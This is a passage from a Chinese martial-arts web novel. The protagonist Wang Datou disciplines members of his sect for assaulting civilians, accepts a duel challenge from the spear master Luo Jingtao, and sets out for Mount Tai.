贸然冲击,万一失败,可能反而会损伤这来之不易的圆满状态。
眼下最重要的,还是应对半月后的泰山之战。
他站起身,活动了一下筋骨,浑身发出一连串清脆如爆豆般的响声,舒泰无比。
走到丹房角落的水池边,他看着水中倒影。
相貌依旧年轻,但眉宇间那股历经生死、执掌大权沉淀下的沉稳气度,以及此刻武道突破带来的自信锋芒,让他整个人散发出一种独特的魅力。
“该试试《流云叠浪掌》了。”王大头心中暗道。
内力既已圆融巅峰,是时候修炼这门赵师傅托付的掌法了。
其“内力如云,掌力叠浪”的精义,或许能与自己触摸到的那丝“气与天地合”的感悟相结合,爆发出意想不到的威力。
他走回静室中间,摆开架势,脑海中《流云叠浪掌》的心法要诀缓缓流淌。
内力随之而动,不再是之前那种泾渭分明的尝试,而是圆融一体、如臂指使地按照掌法要求,在特定经脉中运转起来。
起初还有些生涩,但很快,一种阴阳交融的感觉涌上心头。
他内力本已至刚至阳,圆融纯粹,此刻依照流云掌法运转,竟自然而然生出一股缥缈灵动之意,刚猛中带着柔和,凝聚处藏着变化。
一掌轻轻推出,无声无息,但掌心前方三尺处的空气却陡然模糊、扭曲,如同平静湖面被投入石子,荡开层层无形的涟漪,一浪推动一浪,延绵不绝,直至丈外才缓缓消散。
“好一个叠浪劲!”
王大头眼中喜色更浓。
这掌法不仅威力奇大,更重要的是发力方式暗合某种“波动”与“共振”的天地至理,与他用物理学理解武道的思路不谋而合,修炼起来事半功倍。
他有预感,将这门掌法练至小成,足以成为他对抗罗惊涛“惊涛骇浪枪法”的重要依仗之一。
接下来的几天,王大头进入了深度的闭关修炼。
白天锤炼《流云叠浪掌》,将其精义与自身武学体系融合;晚上则运转《星辰观想法》,巩固化劲巅峰境界,细细体味那丝与天地灵气共鸣的玄妙感觉,积累冲击先天的底蕴。
他的气息一日比一日沉凝,一日比一日深邃。
虽然未曾刻意张扬,但偶尔出入时,那股渊渟岳峙、圆融无碍的宗师气度,已让赵师傅等人暗暗心惊,知道他的修为又迈上了一个至关重要的台阶。
他能清晰地感觉到,横亘在化劲与先天之间的那道厚重屏障,已然松动。
或许,一场势均力敌、竭尽全力的巅峰之战,正是他打破这道屏障,鱼跃龙门,踏入全新天地的最佳契机!
第91章:龙门的温情
清晨的阳光透过总部大楼训练场高窗,在地板上投下斑驳的光影。
空气里弥漫着汗水、皮革和淡淡草药混合的气味,还有少年人蓬勃的朝气。
“喝!哈!”
几十名身着统一黑色练功服的年轻弟子,正随着前方教**的口令,整齐划一地练习着八极拳的基础架。
汗水浸湿了他们额前的碎发,一张张年轻的脸上写满认真。
张猛抱着胳膊,像座铁塔般立在场地边缘监督,铜铃大的眼睛扫过每一个动作。
他今天没穿那套标志性的无袖皮坎肩,换了件宽松的黑色武道服,但依旧掩不住一身虬结的肌肉。
“第三排左边那个!马步扎稳了!下盘浮得像根葱,敌人一脚就能给你踹趴下!”
他声如洪钟地吼道,吓得那名弟子一哆嗦,赶紧调整姿势。
旁边传来一阵压抑的闷笑。
雷烈不知何时也晃悠了过来,他后背的伤好了大半,但动作还有些小心。
他碰了碰张猛,压低声音,挤眉弄眼:“猛哥,悠着点,别把小家伙们吓尿了。你看看,那边几个女娃脸都白了。”
张猛一瞪眼:“你懂个屁!练武是能嘻嘻哈哈的事儿吗?现在流汗,总比以后流血强!想当年老子……”
他话没说完,自己先顿住了,似乎想起了某些并不愉快的“当年”,哼了一声,没再说下去。
雷烈嘿嘿一笑,也不在意,目光在场中扫过,忽然定格在某处,眼睛一亮:“诶,猛哥你看,那个穿17号的小子,有点意思啊。步伐灵活,发力也透着一股子狠劲,是块好料子。”
张猛顺着看去,只见一个看起来不过十**岁、眉眼间还带着几分稚气的少年,在一众弟子中确实显得鹤立鸡群。
他不仅动作标准,更难得的是眼神专注,每一次出拳都带着一股超越年龄的狠厉和决绝。
“这小子叫林小虎,是从北边逃难来的,爹妈都没了,一个人流浪到滨海,在码头扛包时被咱们的人发现,测试根骨不错,就收了进来。”
张猛显然对这批新弟子的情况了如指掌,“是个苦出身,肯拼命。听说为了攒贡献点兑换《基础吐纳术》第二层,连着一个月接的都是最苦最累的巡逻和搬运任务。”
雷烈闻言,脸上的嬉笑收敛了几分,看向那少年的目光多了些认同:“是个爷们儿。”
这时,训练场另一头的器械区传来一阵喧哗和叫好声。
两人转头望去,只见一群弟子围成了一个圈,圈中间,两个赤裸着上身、肌肉贲张的壮汉正在比试掰手腕。
其中一人正是外门中颇有名气的力量型弟子“铁牛”,另一人则是个生面孔,但体格丝毫不逊色。
“加油!铁牛哥!”
“新来的兄弟,顶住啊!”
气氛热烈。
张猛和雷烈也踱步过去看热闹。
只见两人手臂上青筋暴起,脸憋得通红,中间的指针微微颤动,僵持不下。
“这新来的谁啊?力气不小,能跟铁牛拼成这样。”雷烈好奇。
旁边有弟子抢着回答:“雷教官,这是昨天刚通过考核入门的,叫石磊,以前是干石匠的,一身蛮力!”
正说着,场中形势突变。
那名叫石磊的新弟子忽然低吼一声,手臂肌肉再次膨胀一圈,猛地发力!
铁牛猝不及防,手臂被缓缓压了下去!
“赢了!”
“石磊牛啊!”
围观弟子爆发出一阵欢呼。
铁牛甩了甩发麻的手臂,虽然输了,却咧嘴一笑,用力拍了拍石磊的肩膀:“好家伙!力气真大!以后搬运药材的活儿,你得扛大头!”
石磊有些不好意思地挠挠头,憨厚地笑了。
看着这充满朝气与汗水的训练场景,张猛和雷烈相视一笑。
这就是现在的龙门,不再只有血与火的厮杀,更多的是汗水浇灌的希望和兄弟间纯粹的情谊。
中午,总部食堂人声鼎沸。
巨大的空间里飘散着饭菜的香气。
龙门如今财力雄厚,伙食标准极高,不仅有量大管饱的普通餐食,还特设了“药膳窗口”,供应添加了微量淬体灵液稀释液或特制药材的饭菜,需要少量贡献点兑换,对弟子打磨身体极有好处。
王大头难得没有在办公室用餐,而是和李雅一起出现在了食堂。
他没有去专门的包厢,就和李雅在靠窗的普通位置坐下,打了和弟子们一样的饭菜,只是李雅的那份明显清淡些。
他的出现引起了小小的骚动,弟子们纷纷投来尊敬和好奇的目光,但无人敢上前打扰。
一些新入门的弟子更是激动地偷看,低声议论着。
“那就是龙头?好年轻啊!”
“废话!年轻怎么了?林家的长老都打趴下两个了!”
“他旁边那个就是雅总吧?真漂亮,听说咱们龙门一半的产业都是她管着呢……”
“郎才女貌,神仙眷侣啊……”
听着隐隐约约传来的议论,李雅脸颊微红,低头小口吃着饭。
王大头倒是坦然,一边吃饭,一边目光温和地扫过食堂里一张张年轻而充满活力的面孔。
他看到林小虎一个人坐在角落,飞快地扒着饭,面前只有最简单的两菜一汤,但吃得无比认真,仿佛在完成一项重要任务。
他看到石磊和铁牛等人坐在一起,边吃边大声说笑,铁牛正比划着上午掰手腕的细节,唾沫横飞。
他看到几个女弟子聚在一桌,低声说着什么,不时发出清脆的笑声。
“有时候看着他们,会觉得,这一切付出和冒险,都是值得的。”王大头忽然轻声对李雅说。
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李雅抬起头,看到他眼中罕见的柔软和感慨,心中也是一暖。
她轻轻握住桌下他的手:“是啊,这里就像一个……特别的家。有你,有赵师傅,有猛哥他们,还有这些越来越好的孩子们。”
家的感觉。这个词让王大头心中触动。
他从小家境贫寒,父亲重病,母亲操劳,很早就体会生活艰辛。
后来父亲病重,他更是独自扛起一切,在都市底层挣扎。
龙门,这个他一手创立的地方,不知不觉间,已经成了他新的归宿,承载了太多人的希望和未来。
这或许,就是他拼尽全力,哪怕面对林家那样的庞然大物也绝不退缩,想要守护的东西。
饭后,王大头没有立刻回办公室,而是信步走到了总部后方的“百草园”。
这里原本是一片荒地,被开垦出来,专门种植一些用于炼制【强身丸】和药膳的普通药材,由几位懂些草药知识的老弟子照料。
园子里生机盎然,各种药材长势喜人。
赵师傅正背着手,慢悠悠地在田埂间巡视,不时蹲下身,捏起一点泥土看看,或者仔细端详某株药材的叶片。
“师傅。”王大头走过去。
赵师傅点点头,指着一小片叶子呈淡金色的植物:“这‘金钱草’长势不错,再有一个月就能入药了。你那个‘星辰观想’的法子,用在培育药材上,似乎也有些效果,这片园子的草药,灵性比普通野生的要足一丝。”
王大头笑道:“我就是胡乱试试,没想到真有点用。”
他之前尝试用《星辰观想法》引导自身一丝温和内力,配合对植物生长规律的观测,来细微调整园子里的光照、湿度和土壤成分,看来效果不错。
“对了,师傅,流云令……”王大头想起一事。
赵师傅摆摆手:“不急。令牌的秘密非一时可解。倒是你,学院选址初步定了几个地方,你抽空和李雅去看看。还有,上官家那份人情,你打算什么时候还?”
“等滨海这边彻底安稳,学院的事情有了眉目吧。”
王大头沉吟,“去上官家,不仅是交流丹道,我也想看看,这些真正的古武世家,到底是什么样的气象。”
夕阳西下,王大头和李雅并肩走在总部楼顶的天台上。晚风拂面,带着初夏的暖意和城市的气息。
“今天,好像回到了很久以前,在咖啡馆的时候。”
李雅依偎在他肩头,轻声说,“没有那么多的打打杀杀,没有那么多算计和压力,就是平凡的一天。”
王大头揽住她的肩膀,没有说话,只是将她搂得更紧了些。
他知道,这样的平静时光弥足珍贵。
林家的威胁并未解除,昆仑秘境的传闻如同悬在头顶的利剑,学院的构想任重道远……未来还有无数挑战。
第92章:不和谐的音符——内部膨胀
但至少此刻,夕阳的余晖将两人的身影拉得很长,龙门总部灯火渐次亮起,训练场隐约传来弟子们晚课的口号声,食堂的方向飘来袅袅炊烟……这一切,构成了一幅温暖而充满生机的画卷。
温情脉脉的面纱下,暗流从未停止涌动。
龙门的高速扩张和接连胜利,如同一剂强效的**,在激励大多数人的同时,也不可避免地让一部分人心态失衡,滋生出骄横之气。
几天后的傍晚,王大头正在地下丹房尝试炼制改良版的【强体丸】,李雅急匆匆地推门而入,脸色很不好看。
“大头,出事了。”
她将一份报告和几张照片放在旁边的桌子上。
王大头停下手中的动作,擦了擦手,拿起报告。
是监察堂的一份紧急简报,附有照片和几名弟子的口供。
事情发生在市中心一家新开业不久的高档酒吧。
龙门如今影响力巨大,很多娱乐场所都主动寻求“合作”,缴纳一定的“管理费”以换取平安和某些便利。
这家“夜阑珊”酒吧就是其中之一。
简报称,昨晚,四名龙门内门弟子(皆属于战斗部某小队)在酒吧消费时,与另一桌客人发生冲突。
起因是对方不小心碰洒了一点酒水在其中一个龙门弟子身上。
这本是小事,但那几名龙门弟子不依不饶,言语极其嚣张,不仅要求对方跪地道歉、赔偿天价(一件普通T恤索赔十万),更在对方拒绝后,率先动手,将对方一行五人全部打伤,其中两人骨折,伤者中有一人是本市某重点高中副校长的儿子。
酒吧经理试图调解,反被一名龙门弟子扇了耳光,威胁要砸了酒吧。
最后是酒吧老板通过关系紧急联系了龙门总部值班人员,才将事情暂时压住,但那几名弟子离开时依然骂骂咧咧,气焰嚣张。
伤者已被送医,对方家属情绪激动,已经报警,并扬言要媒体曝光。
照片上,是凌乱的酒吧现场,以及几名被打者头破血流的惨状。
还有一张模糊的侧拍,显示一个穿着印有龙门暗纹T恤的年轻人,正嚣张地指着酒吧经理的鼻子叫骂。
王大头的脸色瞬间沉了下来,眼神冰冷。
报告里那四个弟子的名字,他都有些印象,是最近一批因实力不错、完成几个任务而晋升内门的,其中带头那个叫“周彪”的,好像还是雷烈手下一个小队长的同乡,平时就有些咋咋呼呼。
“人控制住了吗?”王大头的声音听不出喜怒。
“张猛和雷烈已经亲自带人把他们四个从宿舍带走了,暂时关在禁闭室。雷烈气得当场就踹了周彪两脚,说他给自己丢人现眼。”
李雅语速很快,“酒吧老板那边,我亲自打电话安抚并承诺赔偿了,暂时稳住。但伤者家属和警方那边……”
“警方那边,让负责对外联络的人去处理,按正常打架斗殴的流程走,该赔偿赔偿,该道歉道歉,不要动用任何‘特殊关系’压事。”
王大头打断她,语气果决,“告诉张力警官,龙门绝不包庇违法弟子,支持警方依法处理。”
李雅点头记下。
“至于内部……”王大头眼中寒光一闪,“召集所有内门及以上弟子,一小时后,演武堂集合。通知赵师傅、张猛、雷烈,还有各堂堂主。”
“是!”
一小时后,演武堂内气氛凝重。
数百名内门弟子肃立,鸦雀无声。
高台上,王大头居中而坐,面沉如水。
赵师傅、李雅分坐两侧。
张猛和雷烈站在台下前方,脸色铁青,尤其是雷烈,拳头捏得咯咯响,眼睛死死瞪着被反绑双手、跪在台下的周彪等四人。
周彪此刻早已没了昨晚的嚣张,脸色惨白,浑身发抖,另外三人也是面如土色。
王大头没有立刻说话,目光缓缓扫过台下每一张面孔。
许多弟子感受到那股无形的压力,不由自主地低下头。
“昨晚,‘夜阑珊’酒吧的事情,想必有些人已经听说了。”
王大头终于开口,声音不大,却清晰地传入每个人耳中,带着一股冰冷的质感,“四个内门弟子,因为一点鸡毛蒜皮的小事,在公共场所,对普通**打出手,致人受伤,嚣张跋扈,威胁商户,败坏我龙门声誉!”
他的声音陡然拔高,如同惊雷炸响:“谁给你们的胆子?!”
周彪吓得一哆嗦,涕泪横流,哭喊道:“龙头!我错了!我们喝多了,一时糊涂啊!求您饶了我们这次吧!”
“喝多了?”
王大头冷笑,“喝多了就知道欺压百姓?喝多了就忘了龙门‘忠义为本,不行恶事’的铁律?!我看你们清醒得很!清醒地觉得自己是龙门弟子,就高人一等,就可以为所欲为!”
他猛地站起身,走到台前,居高临下地看着那四人,也看着台下所有弟子:“是不是觉得,我们打退了林家,结交了上官家,在这滨海市说一不二了?是不是觉得,身上这身皮,就成了你们欺行霸市、作威作福的护身符了?!”
“我告诉你们!”
王大头的声音斩钉截铁,带着不容置疑的威严,“龙门能走到今天,靠的不是欺压弱小,不是横行霸道!靠的是兄弟们的血汗,是靠的规矩和底线!靠的是老百姓心里那杆秤!”
“今天你们敢
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为一点小事打伤普通人,明天是不是就敢强取豪夺?后天是不是就敢无法无天?!长此以往,龙门和那些被我们打倒的黑蛇会,和那些我们鄙视的恶霸势力,有什么区别?!甚至更可恶,因为我们顶着‘龙门’这块招牌!”
他的话如同重锤,敲在每个人心上。许多弟子露出深思和羞愧的表情。
“张猛,雷烈!”王大头喝道。
“在!”两人踏前一步。
“周彪等四人,触犯龙门铁律第七条‘不得恃强凌弱,欺压百姓’,第九条‘不得败坏宗门声誉’,情节严重,影响恶劣!按律该如何处置?”王大头看向雷烈,这事出在他的战斗部。
雷烈钢牙紧咬,猛地抱拳,嘶声道:“按律……当废去武功,逐出龙门!”
“不!不要啊!雷教官!龙头!饶命啊!”周彪四人惊恐万状,拼命磕头。
王大头面无表情:“念其初犯,尚未造成不可挽回之后果,且事发后未试图狡辩或逃逸。废去武功可免。”
四人刚露出一丝希冀。
“但,死罪可免,活罪难逃!”
王大头声音转厉,“每人重杖一百!扣除所有贡献点,永久革除内门弟子身份,降为最低等杂役,观察三年!若再有任何劣迹,两罪并罚,当场格杀!”
“执行!”
执法弟子上前,将瘫软如泥的四人拖到行刑区,当众执行杖刑。
沉重的木杖打在肉体上的闷响和凄厉的惨嚎,让所有弟子噤若寒蝉,深刻地体会到了龙门铁律的森严。
一百杖打完,四人已是皮开肉绽,奄奄一息,被拖了下去。
王大头重新走回台中间,目光如电,扫视全场:“今日之事,望所有人引以为戒!记住,你们的力量,是龙门的刀,是守护兄弟、扞卫正道的刀!这刀,绝不能对准无辜的百姓,绝不能因为握刀的手有力了,心就歪了!”
“强大的同时,必须保持清醒!必须牢记初心!谁若忘了龙门因何而立,忘了自己曾是普通人中的一员,那么今日的周彪,就是明日的你!”
“都散了吧!各自反省!”
弟子们心神震撼,默默行礼后散去。演武堂内只剩下核心几人。
“雷烈,你御下不严,自领二十杖,扣除本月贡献点。”王大头看向雷烈。
雷烈二话不说,直接趴下:“是!属下认罚!”他知道,这次事件他负有不可推卸的管理责任。
张猛亲自执杖,结结实实打了雷烈二十杖,雷烈硬是一声不吭。
行刑完毕,雷烈爬起来,对着王大头再次抱拳,满脸愧色:“龙头,是我大意了,只盯着他们的修为任务,没管好他们的心。”
第93章:来自远方的挑战书
“吃一堑长一智。”
王大头语气缓和了些,“膨胀之心,如野草滋长,稍有不慎就会蔓延。以后,思想教育要和实力提升并重。监察堂要加强巡查暗访。”
“是!”众人齐声应道。
处理完此事,王大头独自站在空旷的演武堂内。
随着龙门越来越强大,类似的诱惑和考验会越来越多。
如何让这把日益锋利的“刀”不伤及自身,不偏离方向,将是他未来持续面临的严峻课题。
强大的同时,必须保持十二分的清醒。
这,或许是比战胜强敌更艰难的修行。
龙门内部纪律整顿的余波尚未完全平息,新一轮的风浪已悄然拍岸。
这一次,不是来自林家的阴谋,也不是内部蛀虫的腐蚀,而是江湖上最直接、最阳刚的挑战——名望之争。
这日,一封以古朴牛皮纸封缄、以火漆印密封的信函,由一位风尘仆仆、眼神锐利如鹰的灰衣劲装男子,亲自送到了龙门总部大堂。
信函样式古朴,火漆印的图案是一柄穿插于波浪中的**,在古武界颇有辨识度——江东“断浪枪”罗家的标记!
送信男子自称罗家执事,不苟言笑,将信函交给值班弟子后,只丢下一句“请王龙头亲启”,便转身离去,身形迅捷,显然也是修为不弱。
信函很快被送到王大头手中。
此时,赵师傅、李雅、张猛、雷烈等人也闻讯赶来。
王大头拆开火漆,取出里面一张质地坚韧、微泛黄意的宣纸。
纸上字迹铁画银钩,力透纸背,带着一股扑面而来的锐气与战意:
“战书”
“闻滨海王大头,以弱冠之龄,草根之身,连挫强敌,名动江湖,有‘年轻一代第一人’之誉。余,江东罗惊涛,浸淫枪道四十载,忝居化劲,然武学之路,达者为先,不论年齿。”
“今江湖传言纷纷,真假莫辨。罗某不才,欲请王龙头于七日之后,择一开阔之地,以武会友,切磋印证。既分高下,亦求武道真谛。”
“若王龙头胜,罗某甘拜下风,江东罗家自此敬龙门三分。若罗某侥幸得胜,则请王龙头公开承认,年轻一代第一人之名,尚需斟酌。”
“战,或不战,静候回复。”
落款:江东罗惊涛。
旁边盖着那枚浪中枪的私印,印泥殷红,仿佛带着血性与硝烟。
“罗惊涛!”
赵师傅眉头紧锁,语气凝重,“是他……‘断浪枪’罗惊涛,江东罗家上一代最杰出的高手之一,四十年前便已成名,一手‘惊涛骇浪枪法’刚猛霸道,据说早已臻至化劲中期甚至后期,这些年虽鲜少行走江湖,但实力深不可测。他怎么会突然跳出来?”
张猛抓了抓脑袋,瓮声瓮气:“这老家伙吃饱了撑的?都多大岁数了,还来争什么‘年轻一代第一人’?这不是欺负人吗?”
雷烈则沉声道:“恐怕没那么简单。罗家虽在江东,但势力不小,与林家似乎也有往来。这个时候跳出来挑战龙头,未必只是为虚名。会不会是……林家暗中推动?”
李雅满脸担忧,看向王大头:“大头,这明显是激将法。他成名几十年,修为深厚,经验老辣。你虽然进步神速,但毕竟年轻……而且,‘年轻一代第一人’这种虚名,我们没必要去争。”
王大头没有立刻说话,手指轻轻摩挲着信纸边缘。
他能感觉到这封信字里行间蕴含的那股磅礴战意和隐隐的……试探。
罗惊涛,一个成名几十年的老牌化劲宗师,突然向自己这个“后起之秀”下战书,目的绝不单纯。
正如雷烈所说,很可能有林家的影子。
林家暂时不便亲自下场,便怂恿或利益交换,让与龙门没有直接恩怨、实力又足够强的罗惊涛来试探自己的深浅,甚至想借罗惊涛之手重创自己。这是借刀**之计。
当然,也可能罗惊涛本身就是一个武痴,听闻自己的事迹后见猎心喜,单纯想印证武道。
但结合当前形势,前者的可能性更大。
接,还是不接?
不接,龙门和王大头刚刚打出的威名将严重受损,会**湖耻笑为畏惧挑战,之前的战绩也会被质疑为侥幸或夸大。
这对正在上升期的龙门士气是沉重打击,也会让那些观望的势力,包括刚刚示好的上官家,重新评估龙门的成色。
接,则风险巨大。
罗惊涛绝非林煞可比。
林煞强在**阴毒诡异,而罗惊涛是实打实的、正面强攻型的化劲宗师,枪法刚猛,战斗经验丰富无比。
自己虽有系统辅助和科学武道理念,但正面硬撼一个沉浸枪道几十年的老牌化劲中期甚至后期高手,胜算难料。
“他想试探,想看我的极限。”
王大头忽然开口,声音平静,“林家想看,那些躲在暗处观望的各方势力也想看。这一战,避无可避。”
“大头!”李雅急道。
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王大头抬手止住她的话,眼中逐渐燃起昂扬的战意:“既然避不开,那就不避!不仅要接,还要接得漂亮!”
他看向众人,语气斩钉截铁:“龙门需要这场胜利来巩固声望,我需要这场战斗来磨砺自身,看清与真正老牌化劲的差距!罗惊涛想当别人的刀,那我就崩了他这把刀!”
“可是,地点时间都由他定,万一有诈……”赵师傅提醒。
“地点,我们可以改。”
王大头眼中闪过一丝锐利的光芒,“他不是要开阔之地吗?那我就选一个足够开阔,足够让所有人都看得清清楚楚的地方!”
他心中已然有了决断。
“回复罗惊涛!”王大头对李雅道,“战书,我王大头接了!但时间,改为半月之后!地点,不在滨海,也不在江东……”
他顿了顿,一字一句,声音铿锵:
“五岳之首,泰山之巅,玉皇顶!”
“半月之后,日出之时,我王大头,恭候‘断浪枪’罗惊涛前辈大驾,以武论道,一决高下!”
此言一出,满室皆惊!
泰山!玉皇顶!公开比武!
这不仅是要打,更是要将这场战斗,摆到天下人面前!
在华夏文明象征之一的泰山之巅,与成名数十年的化劲宗师对决!这是何等的自信与气魄!
“好!痛快!”
张猛猛地一拍大腿,激动得满脸通红,“就该这么干!在泰山上干**!让全天下都看看咱们龙头的厉害!”
雷烈也是精神一振,胸中豪气顿生:“泰山之巅,日出之战!龙头,此战必定名垂江湖!”
赵师傅看着王大头眼中那不容置疑的决绝和昂扬的斗志,知道劝阻无用,反而抚须缓缓点头:“泰山,帝王封禅之地,气势雄浑,倒也配得上这场对决。半月时间,你好生准备。罗惊涛的‘惊涛骇浪枪法’有其独到之处,刚猛无俦,连绵不绝,你要仔细研究。”
李雅见王大头决心已定,知道无法改变,只能压下心中忧虑,用力点了点头:“我立刻让人回复,并开始筹备泰山之行的相关事宜。”
很快,“龙门龙头王大头,应战江东‘断浪枪’罗惊涛,约战半月后泰山玉皇顶,日出为战”的消息,如同插上了翅膀,以惊人的速度传遍了整个华夏古武界,乃至更广阔的隐秘圈子。
一时间,江湖哗然,暗流汹涌!
新的挑战,以最直接、最激烈的方式,接踵而至!
第94章:约战泰山之巅
“王大头应战罗惊涛,泰山玉皇顶,日出之战!”
这短短一句话,在接下来的几天里,成为了整个华夏隐秘世界最火爆的话题,没有之一。
两大话题人物的碰撞:一边是近半年强势崛起、连败林家化劲长老、充满传奇色彩的草根枭雄;另一边是成名数十载、枪法刚猛、底蕴深厚的江东名宿。这场对决的噱头,足以点燃所有人的好奇心。
更让人津津乐道的是决战地点——泰山玉皇顶!
泰山,五岳独尊,自古以来便是帝王封禅、祭祀天地之所,在华夏文明中有着无与伦比的象征意义,代表着至高、至阳、至刚。
选择在此地决战,本身就充满了强烈的仪式感和宣告意味。
这不再是私下里的寻仇或切磋,而是一场公开的、带有某种“正名”性质的巅峰对决!
消息如同巨石投入平静(实则暗流涌动)的湖面,激起了千层浪。
古武界各大家族、宗门反应不一。
有人不屑,认为王大头年少轻狂,自寻死路;有人好奇,想亲眼看看这个搅动风云的年轻人到底有何能耐;也有人暗中谋划,想借此机会观察双方虚实,甚至浑水摸鱼。
上官家很快发来讯息,语气中带着赞赏:“王龙头豪气干云,泰山之约,必成佳话。如需任何协助,可随时联系。”显然,他们乐于看到龙门(或者说王大头)进一步扬名,这符合他们的利益。
林家那边则异常沉默,但越是沉默,越让人感觉到其平静水面下的暗流。
没有人相信罗惊涛的挑战与林家完全无关。
滨海市本土及周边依附龙门的势力则是一片振奋。
龙头敢在泰山之巅迎战老牌宗师,这是何等的底气!与有荣焉!
许多势力的头头脑脑纷纷表示,届时一定要亲赴泰山,为龙头助威!
龙门内部,更是群情激昂。
自从消息正式公布,弟子们的训练热情达到了一个新的高峰。
龙头为了龙门声望亲身赴险,他们这些做弟子的,岂能懈怠?
每个人都憋着一股劲,要变得更强,不能让龙头独自承担一切。
当然,担忧者亦有不少。
李雅几乎动用了所有商业人脉和资源,为泰山之行做最周全的准备——安全的行进路线、合适的观战落脚点、医疗后勤保障、应对突发状况的预案等等。
她虽然担心,却将这份担心化为了最细致的行动支持。
张猛和雷烈则负责筛选此次随行护卫的精英弟子,并加强总部守备,防止有人趁王大头离开之际对龙门不利。
赵师傅则整日与王大头待在一起,将自己所知关于罗惊涛以及“惊涛骇浪枪法”的一切细节,毫无保留地进行分析和推演。
“罗惊涛此人,性格刚直,甚至有些执拗,认准的事情很难改变。他的枪法如其人,走的是‘以力破巧,以势压人’的路子。”
赵师傅在静室中,用茶水在桌面上勾勒出简单的运枪轨迹,“‘惊涛骇浪枪法’共分九式,但据说他已练到‘九九归一,惊涛不绝’的境界。一枪既出,后续枪势便如大海怒涛,一浪高过一浪,连绵不绝,让人喘不过气来,直至被其彻底淹没。其内力属性偏阳刚炽烈,与你的纯阳内力倒有几分相似,但更加爆裂。”
王大头凝神静听,脑海中根据赵师傅的描述,结合力学原理和能量运转模型,飞快地构建着对手的战术体系。
“也就是说,不能让他把枪势完全展开,必须在他起势之初,就打断他的节奏,或者……找到他这‘连绵不绝’中的转换节点。”
“不错!”
赵师傅赞许地点头,“浪涛虽猛,亦有波谷。枪势转换之间,必有极短暂的凝滞。但这节点稍纵即逝,且被他强大的气势和内劲所掩盖,极难捕捉。你需要用你的《星辰观想法》,找到那个‘点’。”
王大头点头,心中已有计较。
除了寻找破绽,他也在思考如何将自己的优势最大化。
科学的身法移动、精准的预判、对力量的精微控制,以及……系统赋予的【护身剑气】。
这道剑气是他目前最强的底牌之一,但用过两次后,林家乃至罗惊涛必然有所防备,不能作为常规手段,必须用在最关键的时刻。
接下来的日子里,王大头进入了半闭关状态。
他不再去管具体事务,将全部精力投入到备战中。
白天,他独自在特别加
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固的演武厅内,反复演练自身武学,尤其是新近领悟的《流云叠浪掌》的发力技巧,试图将其“叠浪”之意融入自己的拳脚乃至身法之中,寻找以“浪”破“浪”的可能。
晚上,则全力运转《星辰观想法》和内力,将状态调整到最佳。
李雅则在外奔波,泰山之行的各项安排逐渐落实。
她甚至通过一些特殊渠道,提前派人前往泰山玉皇顶附近勘察地形,选择最佳的观战位置和安全退路。
此事虽低调进行,但难免走漏风声,更是坐实了龙门对此战的重视,也让外界对这场对决的期待值再次拉高。
随着约定之日逐渐临近,越来越多的陌生面孔开始出现在滨海市,又悄然离开,朝着齐鲁大地,泰山的方向汇聚。
有独来独往、气息晦涩的独行客;有三五成群、穿着统一服饰的宗门子弟;也有乘坐豪车、前呼后拥的世家代表……一场武道盛事,即将拉开帷幕。
这一日,王大头结束修炼,站在总部顶层,远眺西方。
夕阳如血,映照天际。
“都准备好了吗?”李雅走到他身边,轻声问道。
“差不多了。”王大头握住她的手,“明日一早,出发。”
“一定要小心。”千言万语,最终只化作这一句。
“放心。”
王大头目光坚定,“这一战,不仅是为我自己,更是为龙门正名。我要让所有人都知道,龙门崛起,凭的是真本事,不是侥幸,更不是昙花一现!”
他的目光,仿佛已经穿越了千山万水,看到了那座巍峨耸立、承载着无数传说的圣山。那里,将是他龙门真正名扬天下的舞台!
翌日清晨,一支由十辆黑色越野车组成的车队,悄然驶离龙门总部。
王大头、赵师傅、李雅、张猛、雷烈以及五十名精挑细选的龙门精英,踏上了前往泰山的征途。
几乎在同一时间,来自天南海北、怀着各种目的的人们,也如同受到无形召唤般,从四面八方,涌向那座巍巍东岳。
“龙门王大头,泰山战罗惊涛!”
这消息如同最后的号角,彻底点燃了江湖。
整个古武界的目光,为之聚焦,为之侧目!
第95章:奔赴泰山,风云际会
车轮碾过国道,卷起淡淡烟尘。
十辆黑色越野组成的车队犹如沉默的钢铁洪流,自滨海出发,一路向西。
王大头坐在中间那辆车的后座,闭目养神。
窗外景色飞速**,他却无心观赏。
脑海里反复推演着罗惊涛“惊涛骇浪枪法”的每一个可能变化,结合赵师傅的讲解,在意识中模拟交手。
李雅坐在他身旁,膝盖上放着笔记本电脑,手指偶尔敲击,处理着龙门远程发来的事务。
但她眼角余光总是不由自主地瞟向王大头,看到他平静的侧脸,心里那份担忧才稍稍安定些。
副驾驶上的张猛扭过头,咧着嘴:“大头哥,你说这会儿泰山上得有多少人等着看热闹?我估摸着,起码得有三五百号!”
后头跟着那辆车里的雷烈通过对讲机插话,声音嗡嗡的:“三五百?猛哥你也太小看这阵仗了!要我说,上千都不止!我有个以前在省武协混过的兄弟说,他们圈子里都传疯了,连几个闭门几十年的老家伙都动了心思,想来看看这‘外卖拳王’到底啥成色。”
“外卖拳王”这绰号不知何时在江湖上传开,带着几分戏谑,几分惊奇,也藏着些世家子弟骨子里的轻视。
王大头听了,嘴角只是微不可查地勾了一下。称呼不重要,拳头才重要。
赵师傅坐在王大头另一侧,手里捻着一串不知什么材质的念珠,眼睛半阖:“人越多,水越浑。盯着你的,不止罗惊涛一个。林家绝不会放过这个机会。上官家虽示好,但也不会完全置身事外。还有其他牛鬼蛇神……大头,上了山,眼睛要亮,心思要稳。”
“我明白,师傅。”王大头睁开眼,目光清朗。
车队中途在服务区休整。
刚一下车,王大头就敏锐地感觉到,四周投来不少隐晦的视线。
服务区里停着不少外地牌照的车,有普通的轿车、越野,也有几辆挂着特殊标识、看起来就价值不菲的豪车。
一些或站或坐的人,看似在休息吃饭,但气息沉凝,太阳穴微鼓,显然都不是普通人。
有个穿着洗得发白的蓝色运动服、独自蹲在花坛边吃泡面的干瘦老头,抬起眼皮扫了龙门车队一眼,那目光浑浊却锐利,像刀子刮过。
另一边,几个穿着统一黑色练功服、胸口绣着小小“青”字的年轻人,聚在一起低声说话,不时朝这边看看,眼神里充满好奇和评估。
“青城派的。”赵师傅低声说了一句,“连他们也来了。”
去卫生间时,张猛在洗手台边碰到一个膀大腰圆、满脸横肉的光头汉子。
那汉子正在用冷水冲头,甩了甩水珠,瞥了张猛一眼,粗声粗气地问:“兄弟,哪条道上的?也是去泰山看打架的?”
张猛哼了一声:“关你屁事。”
光头汉子也不恼,反而嘿嘿笑了:“火气挺大。听说那龙门的人也挺横,看来传言不假。”
张猛眼睛一瞪:“你啥意思?”
